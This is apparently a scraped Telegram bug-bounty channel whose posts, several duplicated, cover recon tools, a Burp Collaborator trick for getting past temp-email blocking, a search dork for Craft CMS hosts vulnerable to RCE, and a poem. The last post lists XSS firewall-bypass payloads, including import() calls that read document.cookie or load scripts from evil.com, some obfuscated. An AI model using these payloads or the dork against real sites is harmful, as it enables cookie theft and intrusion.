This media is not supported in your browser
VIEW IN TELEGRAM
Extract all URL endpoints from an application and dump them to the command-line with hakrawler!
How hakrawler works:
1️⃣ Spider the application
2️⃣ Query the wayback machine
3️⃣ Parses robots.txt and sitemap.xml files
How hakrawler works:
1️⃣ Spider the application
2️⃣ Query the wayback machine
3️⃣ Parses robots.txt and sitemap.xml files
👍8❤4🔥2
Hunting for misconfigured AWS S3 cloud buckets:
1. Clone CloudEnum
2. Run $ python3 cloud_enum.py -k <TARGET_KEYWORD>
3. Examine results 😎
https://github.com/initstring/cloud_enum
1. Clone CloudEnum
2. Run $ python3 cloud_enum.py -k <TARGET_KEYWORD>
3. Examine results 😎
https://github.com/initstring/cloud_enum
👍10
⚡ Simple Temp Mail Bypass Method🔥
Hello hunters! I'm DarkShadow, dropping a quick trick for when websites block temporary emails and only accept "legit" ones.
First, understand the security behind it:
When you sign up, the server doesn’t just trust your email. It checks if the domain is live via DNS before accepting and sending emails. Temp mail services use dead domains, so they fail this check.
Bypass Trick:
Use Burp Collaborator to create a "live" email!
Example:
Burp link: https://2twpagov8v5bsbmdwktmtkyygpmia9yy.oastify.com
Make it look like an email:
Since the domain is live (thanks to Burp), you’ll bypass the email validation easily!
Pro Tip:
Use Burp Collaborator emails — they’re not just for bypassing, they also help you spot SSRF vulnerabilities!
Follow me 👉🏼 DarkShadow 😁
#BugBountytips@brutsecurity
Hello hunters! I'm DarkShadow, dropping a quick trick for when websites block temporary emails and only accept "legit" ones.
First, understand the security behind it:
When you sign up, the server doesn’t just trust your email. It checks if the domain is live via DNS before accepting and sending emails. Temp mail services use dead domains, so they fail this check.
Bypass Trick:
Use Burp Collaborator to create a "live" email!
Example:
Burp link: https://2twpagov8v5bsbmdwktmtkyygpmia9yy.oastify.com
Make it look like an email:
admin123@2twpagov8v5bsbmdwktmtkyygpmia9yy.oastify.com
Since the domain is live (thanks to Burp), you’ll bypass the email validation easily!
Pro Tip:
Use Burp Collaborator emails — they’re not just for bypassing, they also help you spot SSRF vulnerabilities!
Follow me 👉🏼 DarkShadow 😁
#BugBountytips@brutsecurity
🔥17👍6❤4🤣3
💬 Enjoying the free content?
If you found it helpful or valuable, consider leaving a small tip or a reaction to support us! 🫶✨
Your support helps us continue creating and sharing more awesome resources for everyone. 🚀❤️
Every contribution, big or small, truly makes a difference for the community. Thank you for being with us! 🙏
If you found it helpful or valuable, consider leaving a small tip or a reaction to support us! 🫶✨
Your support helps us continue creating and sharing more awesome resources for everyone. 🚀❤️
Every contribution, big or small, truly makes a difference for the community. Thank you for being with us! 🙏
4👍28❤21🗿3🔥1👏1🤝1
Guy's how about my poem🙈
DarkShadow's Vulnerable Heart
I hate XSS — it plays with my mind,
I master SQLi — injections I find.
My crush? XXE — stealing the show,
LFI's easy — just follow the flow.
I dream of RCE — ultimate power,
But a broken auth melts me like a flower.
Race conditions — they're chasing me fast,
IDOR unlocks the secrets of the past.
SSRF teases — from inside the gate,
And open redirects just seal my fate.
DarkShadow hunts — in shadows unseen,
Turning every weakness into my dream.
I don’t just hack —
I rewrite the scene.
Written by ~DarkShadow
❤25🫡9👍5🗿5🤣3🤝2🐳1
DarkShadow truly remembers all of you:
Guys, some very interesting topics are coming soon about Advance XSS, leaking credentials to RCE, Google XSS POC, XXE to RCE, and more.Show your love, guys!
1. Learn less, practice more.
2. Tools are nothing without core knowledge.
3. Chasing basic bugs won't make you elite.
4. Pro hunters create new exploits, not copy old ones.
5. Think beyond checklists — think like an attacker.
Guys, some very interesting topics are coming soon about Advance XSS, leaking credentials to RCE, Google XSS POC, XXE to RCE, and more.
❤45👍5🔥5🤝2🫡1
CVE-2025-32432: RCE in CraftCMS, 10.0 rating 🔥🔥🔥
0-day vulnerability makes some versions of CraftCMS vulnerable to RCE. Used in the wild in combination with CVE-2024-58136.
Search at Netlas.io:
👉 Link: https://nt.ls/XVVPd
👉 Dork: http.headers.x_powered_by:"Craft CMS"
Vendor's advisory: https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
0-day vulnerability makes some versions of CraftCMS vulnerable to RCE. Used in the wild in combination with CVE-2024-58136.
Search at Netlas.io:
👉 Link: https://nt.ls/XVVPd
👉 Dork: http.headers.x_powered_by:"Craft CMS"
Vendor's advisory: https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
❤12👍3🔥2
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥5
Hello Hunters,
DarkShadow here, back again with a quick tip and a heads-up: you might encounter SSRF vulnerabilities in email-sending features!
Take a look at these screenshots — the website actively validates emails to block temporary email addresses. However, when I used Burp Collaborator as the email input, I received DNS, SMTP, and even HTTP responses!
This demonstrates that during pentesting, instead of relying on temporary mail services, you should always use Burp Collaborator to uncover hidden vulnerabilities.
Stay sharp and hunt smarter!
Follow me👉🏼 DarkShadow
#bugbountytips@brutsecurity #ssrf
DarkShadow here, back again with a quick tip and a heads-up: you might encounter SSRF vulnerabilities in email-sending features!
Take a look at these screenshots — the website actively validates emails to block temporary email addresses. However, when I used Burp Collaborator as the email input, I received DNS, SMTP, and even HTTP responses!
This demonstrates that during pentesting, instead of relying on temporary mail services, you should always use Burp Collaborator to uncover hidden vulnerabilities.
Stay sharp and hunt smarter!
Follow me👉🏼 DarkShadow
#bugbountytips@brutsecurity #ssrf
🗿12👍10❤9🔥7
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔16👍9🔥6
Hey Hunters,
DarkShadow here—dropping a quick tip for your next XSS hunt!
Tired of firewalls blocking alert(), prompt(), or confirm()? Use
Try these sneaky XSS payloads:
Blind Payloads:
Encoded Variants:
Evil Payload.js Example:
Hope these payloads help you understand how to bypass firewalls that block your payloads, even when an XSS vulnerability still exists. However, their effectiveness depends on the specific web application and firewall configurations you're testing against.
Want a full XSS WAF Bypass Cheat Sheet? Let me know in the comments—I'll cook one up!
Follow me 👉🏼 DarkShadow
#bugbountytips #xss #wafbypass
DarkShadow here—dropping a quick tip for your next XSS hunt!
Tired of firewalls blocking alert(), prompt(), or confirm()? Use
import() to level up your payload game.Try these sneaky XSS payloads:
import('data:text/javascript;base64,YWxlcnQoJ1hTUyEnKQ==')
// Base64 → alert('XSS!')
import('data:text/javascript,%61lert(document.cookie)')
// %61 = 'a'
Blind Payloads:
<script type="module">import('https://evil.com/payload.js');</script>
<img src=x onerror="import('https://evil.com/payload.js')">
<svg/onload="import('https://evil.com/payload.js')">
(()=>{import('https://evil.com/payload.js')})()
import(/*trick*/'https://evil.com/payload.js')
Encoded Variants:
\u0069\u006d\u0070\u006f\u0072\u0074('https://evil.com/payload.js')
// import as Unicode encoding
<script>import(String.fromCharCode( 104,116,116,112,115,58,47,47,101,118,105,108,46,99,111,109,47,112,97,121,46,106,115));</script>
// https://evil.com/pay.js ASCII decimal encoding
Evil Payload.js Example:
export function pwn() {
alert('DarkShadow is here!');
}
Hope these payloads help you understand how to bypass firewalls that block your payloads, even when an XSS vulnerability still exists. However, their effectiveness depends on the specific web application and firewall configurations you're testing against.
Want a full XSS WAF Bypass Cheat Sheet? Let me know in the comments—I'll cook one up!
Follow me 👉🏼 DarkShadow
#bugbountytips #xss #wafbypass
🔥22👍8❤5🤝1